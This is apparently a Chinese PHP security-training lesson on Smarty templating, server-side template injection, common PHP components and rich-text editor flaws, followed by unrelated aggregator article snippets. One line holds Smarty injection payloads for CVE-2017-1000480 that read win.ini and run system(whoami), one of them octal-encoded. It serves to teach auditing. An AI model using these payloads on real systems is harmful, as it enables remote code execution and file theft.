第30天:PHP应用组件框架前端模版渲染三方插件富文本编辑器CVE审计

news/2025/1/12 2:59:34/
#知识点:

1、安全开发-原生PHP-开发组件集合

2、安全开发-原生PHP-模版引擎渲染

3、安全开发-原生PHP-第三方编辑器

1、模版引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

模版使用案例:

Php模版框架:Smarty、Twig,codeeval等

python模版框架:jinja2、mako、tornad、Django等

Java模版框架:Thymeleaf、jade、velocity、FreeMarker等

JavaScript模版框架:doT,Nunjucks,Pug,Marko,EJS,Dust等

安全漏洞影响:

SSTI(Server Side Template Injection,服务器端模板注入)

下载:https://github.com/smarty-php/smarty/releases

使用:

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:

<?php// 引入 Smarty 类文件require('smarty-demo/libs/Smarty.class.php');// 创建 Smarty 实例$smarty = new Smarty;// 设置 Smarty 相关属性$smarty->template_dir = 'smarty-demo/templates/';$smarty->compile_dir = 'smarty-demo/templates_c/';$smarty->cache_dir = 'smarty-demo/cache/';$smarty->config_dir = 'smarty-demo/configs/';// 赋值变量到模板中$smarty->assign('title', '欢迎使用 Smarty');// 显示模板$smarty->display('index.tpl');?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

<!DOCTYPE html><html><head><title>{$title}</title></head><body><h1>{$title}</h1><p>这是一个使用 Smarty 的例子。</p></body></html>

#渲染文件受控

CVE参考:

https://xz.aliyun.com/t/11108

Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园

*/phpinfo();//string:{include file='C:/Windows/win.ini'}string:{function name='x(){};system(whoami);function '}{/function}string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

2、插件组件

编辑器,邮箱,图片处理等

类别

组件/框架

说明

[Web框架]

Laravel

现代化、功能全面的框架,适合大多数Web应用。

Symfony

高度模块化、功能强大的框架,适合复杂应用。

CodeIgniter

轻量级框架,适合快速开发。

Zend Framework (Laminas)

企业级框架,适合大规模应用,具有高扩展性和性能。

Yii

高性能框架,适合快速开发和大规模应用。

[数据库组件]

Doctrine ORM

强大的ORM工具,支持复杂的查询和映射。

Eloquent ORM

Laravel内置ORM,简化数据库操作。

PDO

PHP的数据库抽象层,支持多种数据库引擎。

RedBeanPHP

轻量级ORM,自动创建和管理数据库表。

[模板引擎]

Twig

灵活、现代的模板引擎,常用于Symfony项目。

Blade

Laravel内置模板引擎,支持模板继承和控制结构。

Smarty

经典模板引擎,适合中大型项目。

Mustache

轻量级跨语言模板引擎,支持PHP、JavaScript等。

[路由组件]

FastRoute

高性能PHP路由库,适用于小型应用和API。

AltoRouter

轻量级路由库,适合小型项目,易于配置。

Symfony Routing

Symfony的路由组件,适合复杂应用。

[认证与授权]

OAuth2 Server PHP

实现OAuth2协议的PHP库,适用于API认证。

JWT (JSON Web Token)

轻量级身份验证方案,适合API认证。

PHP-Auth

简单的用户认证库,适用于中小型Web应用。

[支付集成]

Stripe PHP SDK

集成Stripe支付功能,支持信用卡支付、订阅等。

PayPal SDK for PHP

集成PayPal支付功能,支持支付、退款等。

[邮件发送]

PHPMailer

功能强大的邮件发送库,支持SMTP、POP3等协议。

SwiftMailer

另一款流行的邮件发送库,支持多种邮件功能。

Mailgun PHP SDK

Mailgun的官方SDK,用于通过Mailgun API发送邮件。

[文件管理]

Flysystem

文件存储抽象库,支持多种存储方式(如本地、Amazon S3、FTP等)。

Symfony Filesystem

Symfony的文件系统组件,提供简单的文件操作API。

Intervention Image

图片处理库,支持裁剪、调整大小、水印等功能。

[缓存与性能]

Redis

内存数据存储系统,用于缓存、消息队列等,提升性能。

Memcached

内存缓存系统,适用于高并发应用。

Symfony Cache

Symfony缓存组件,支持多种缓存后端。

Laravel Cache

Laravel内置缓存系统,提升Web应用性能。

[日志管理]

Monolog

强大的日志库,支持多种日志渠道(如文件、数据库、邮件等)。

Log4PHP

Apache Log4j的PHP实现,适用于复杂日志功能。

[任务队列]

Laravel Queue

Laravel内置队列系统,支持延迟任务、异步处理。

Resque

基于Redis的任务队列库,适用于异步任务处理。

RabbitMQ

开源消息代理服务,用于任务调度和消息传递。

[WebSocket与实时通信]

Ratchet

用于实现WebSocket服务,适合在线聊天、实时通信。

Swoole

高性能协程框架,支持WebSocket、TCP、UDP等协议,适用于高并发实时应用。

[测试与调试]

PHPUnit

PHP标准单元测试框架,广泛用于自动化测试。

Xdebug

PHP调试工具,支持堆栈跟踪、性能分析、断点调试等功能。

[富文本编辑器]

KindEditor

一个轻量级且功能丰富的富文本编辑器,支持图片上传、插入视频等,适用于PHP开发的Web项目。

TinyMCE

开源的富文本编辑器,支持多种格式的文本编辑,插件丰富,易于集成。

CKEditor

高度可定制的富文本编辑器,支持图片、文件上传、富文本格式化等功能,广泛用于Web项目中。

Froala Editor

轻量级、现代的富文本编辑器,支持图像处理、视频嵌入、内嵌富文本等,适合复杂的Web应用。

Quill

开源富文本编辑器,功能强大、轻量级,支持图片、视频、格式设置等功能,适合单页面应用。

Summernote

基于jQuery的轻量级富文本编辑器,支持文本格式化、图片上传等,适合中小型Web项目。

Trumbowyg

轻量级的富文本编辑器,功能简单但支持基本的文本编辑、图片上传、视频插入等。

Redactor

现代的富文本编辑器,功能丰富,支持图片、文件上传等,适合多种Web应用。

[图片上传组件]

Dropzone.js

支持拖拽上传和多文件上传的JavaScript库,易于与PHP集成,常用于图片、文件上传功能。

FilePond

高度可定制的文件上传库,支持图片预览、验证、上传进度等,适合需要精美上传功能的Web项目。

Fine Uploader

支持多种文件上传方式的组件,支持多文件上传、拖拽上传,支持PHP处理后台。

Plupload

支持多种文件上传方式(包括HTML5和Flash),可以与PHP后台集成,广泛用于Web应用中。

[图片处理组件]

ImageMagick

强大的图像处理库,支持图像格式转换、剪裁、旋转、加水印等多种功能,适用于PHP处理图像。

GD Library

PHP内置图像处理库,支持图像创建、缩放、裁剪、色调调整等功能。

Intervention Image

PHP图像处理库,支持裁剪、缩放、加水印等,易于与Laravel集成。

使用:

ueditor PHP版本使用方法 - smile001 - 博客园

参考:

百度Ueditor编辑器漏洞总结 - Alphal - 博客园

老项目之UEditor漏洞问题_ueditor ssrf-CSDN博客

3、案例:

代码审CMS:(由第三方应用引用导致安全问题)

-网钛(OTCMS):网太系统代码审计-PHP - 先知社区

-Kindeditor:KindEditor文件上传漏洞复现 - TaoLeonis - 博客园


http://www.ppmy.cn/news/1562388.html

相关文章

青少年编程与数学 02-006 前端开发框架VUE 16课题、组件基础

青少年编程与数学 02-006 前端开发框架VUE 16课题、组件基础 一、定义一个组件二、使用组件三、传递 props四、监听事件五、通过插槽来分配内容六、动态组件七、DOM 内模板解析注意事项1、大小写区分2、闭合标签3、元素位置限制 课题摘要:本文介绍了Vue.js中的组件基础&#xf…

深圳跨境电商建站外贸电商建站哪家好?

深圳作为中国跨境电商的重要枢纽之一&#xff0c;吸引了大量电商企业与建站公司。在这个竞争激烈的市场中&#xff0c;如何选择一家合适的建站公司&#xff0c;成为外贸电商成功的关键之一。今天&#xff0c;我们将为你揭示深圳跨境电商建站的优秀公司&#xff0c;并探讨它们如…

Java参数值传递

Java参数值传递 参数是基本类型参数是引用类型 参数是基本类型 场景&#xff1a;通过方法&#xff0c;对传入的实参进行值修改 例如&#xff0c;Java冒泡排序 public class Test {public static void main(String[] args) {int[] arr {1,8,5,6,4,9,3};for (int i 0; i <…

leetcode 127. 单词接龙

题目&#xff1a;127. 单词接龙 - 力扣&#xff08;LeetCode&#xff09; 先建立一颗trie树&#xff0c;从beginWord开始bfs&#xff1b;bfs的过程中&#xff0c;对trie树进行dfs寻找“只差一个字母”的其他未遍历到的字符串&#xff1b;直到bfs遍历到endWord。 struct Node …

用Python爬虫探索义乌购店铺详情的奇妙之旅

在当今这个信息爆炸的时代&#xff0c;数据如同隐藏在暗处的宝藏&#xff0c;等待着有心人去挖掘。义乌购&#xff0c;作为全球小商品贸易的重要平台&#xff0c;汇聚了海量的店铺和商品信息。而Python爬虫&#xff0c;就像是那把开启宝藏大门的神奇钥匙&#xff0c;能让我们深…

网工考试——网络安全

信息安全的五要素&#xff1a; 1、机密性&#xff1a; 2、完整性&#xff1a; 3、可用性&#xff1a; 4、可控性&#xff1a; 5、可审查性&#xff1a; 另外还有可鉴别性和不可抵赖性。 网络安全威胁&#xff1a; 类型      定义    2    攻击的安全要素 中断…

Github 2025-01-10 Java开源项目日报Top8

根据Github Trendings的统计,今日(2025-01-10统计)共有8个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目8TypeScript项目1Kotlin项目1C++项目1JeecgBoot 企业级低代码开发平台 创建周期:2062 天开发语言:Java, Vue协议类型:Apache License…

Docker 使用Dockerfile创建镜像

创建并且生成镜像 在当前目录下创建一个名为Dockerfile文件 vi Dockerfile填入下面配置 # 使用 CentOS 作为基础镜像 FROM centos:7# 设置工作目录 WORKDIR /app# 复制项目文件到容器中 COPY bin/ /app/bin/ COPY config/ /app/config/ COPY lib/ /app/lib/ COPY plugin/ /a…